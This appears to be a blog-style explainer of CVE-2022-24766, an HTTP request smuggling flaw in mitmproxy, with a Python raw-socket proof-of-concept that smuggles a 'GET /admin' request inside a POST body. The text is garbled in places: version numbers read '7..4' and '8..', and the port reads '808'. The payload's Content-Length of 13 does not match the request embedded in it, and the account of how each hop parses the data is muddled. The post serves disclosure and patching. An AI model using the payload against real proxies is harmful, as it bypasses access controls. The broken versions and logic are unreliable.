CVE-2022-24766 - HTTP Request Smuggling in mitmproxy – How It Works, Risks, and Exploit Example

mitmproxy is a popular open-source tool used for inspecting and manipulating HTTP and HTTPS traffic. Security researchers and QA teams use it as a "man-in-the-middle" interactive proxy to debug, record, and even modify live network requests. However, with this powerful ability comes risk. In versions 7..4 and below, mitmproxy had a vulnerability (CVE-2022-24766) that allowed malicious clients or servers to abuse the tool for HTTP Request Smuggling attacks.

In this long-read post, let’s break down in simple terms what this vulnerability is, see how it works using code, and what you can do to stay protected.

What is CVE-2022-24766?

CVE-2022-24766 is a security flaw in mitmproxy (<=7..4) that lets an attacker smuggle extra HTTP requests through the proxy. Normally, mitmproxy should catch and process every request separately. Because of the bug, a specially-crafted HTTP request can “hide” another request inside its body. mitmproxy sees only one request, but the actual backend server could get multiple requests.

Think of it as sneaking an extra, hidden envelope inside a main envelope — the mailman (mitmproxy) delivers only the outer one, but inside there’s more that gets delivered further on.

This bypasses all the security checks, logging, and hooks you might rely on mitmproxy to do.

Who’s At Risk?

- Only sites/services using HTTP/1.x.
- If you use mitmproxy strictly for prevention or analysis (not for "protecting" an HTTP/1 reverse proxy or server), you’re okay.

Services with custom input validation or ACLs implemented via mitmproxy may be at risk — since the hidden request skips those controls.

More Details and References

- GitHub Advisory: GHSA-g2j6-538g-737w
- Mitmproxy Issue #4975 (Request Smuggling)
- Request Smuggling Explained (PortSwigger)

How HTTP Request Smuggling Works

Mitmproxy, like most HTTP/1 proxies, has to parse requests based on Content-Length and/or Transfer-Encoding headers.
If these headers are misleading or manipulated, different hops (the proxy, backend server, etc.) can “see” different logical requests in the same TCP packet.

mitmproxy processes one request, using its own parsing.

- But the backend server, getting the raw data through mitmproxy, splits the body differently — and sees two valid requests.

Exploit Example: Smuggling an Extra Request

Below is a Python code snippet that demonstrates a way an attacker might craft a request to exploit CVE-2022-24766, using *raw sockets* for full control:

import socket

HOST = 'localhost'   # mitmproxy listening address 
PORT = 808          # mitmproxy port

# This request contains two HTTP requests: one "smuggled" inside the POST body
payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: target-server\r\n"
    b"Content-Length: 13\r\n"
    b"Connection: keep-alive\r\n"
    b"\r\n"
    b"GET /admin HTTP/1.1\r\n"
    b"Host: target-server\r\n"
    b"\r\n"
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall(payload)
response = s.recv(4096)
print(response.decode())
s.close()

mitmproxy sees this as a POST request with a 13-byte body.

- But if the raw data is forwarded, the server might see this as two requests: the initial POST and then a GET to /admin.

The fix

- CVE-2022-24766 was resolved in mitmproxy 8..
- The developers hardened the request parsing logic, addressing ambiguous or malformed HTTP requests that could enable request smuggling.

No Workarounds: Update is Required

There’s no workaround for older versions (like custom config or disabling certain features).
You must upgrade mitmproxy to 8.. or later.

Are you using mitmproxy <=7..4?

- Are you using mitmproxy as a "shield" (i.e., to block or sanitize bad HTTP requests for an HTTP/1.x backend)?

In Summary

- If you are using mitmproxy to monitor or protect HTTP/1 servers, you must upgrade to version 8.. or higher.
- Any system relying on mitmproxy for security (scripted filtering, access control, etc.) is exposed to smuggled, hidden requests that are neither logged nor filtered.

Timeline

Published on: 03/21/2022 19:15:00 UTC
Last modified on: 03/29/2022 16:49:00 UTC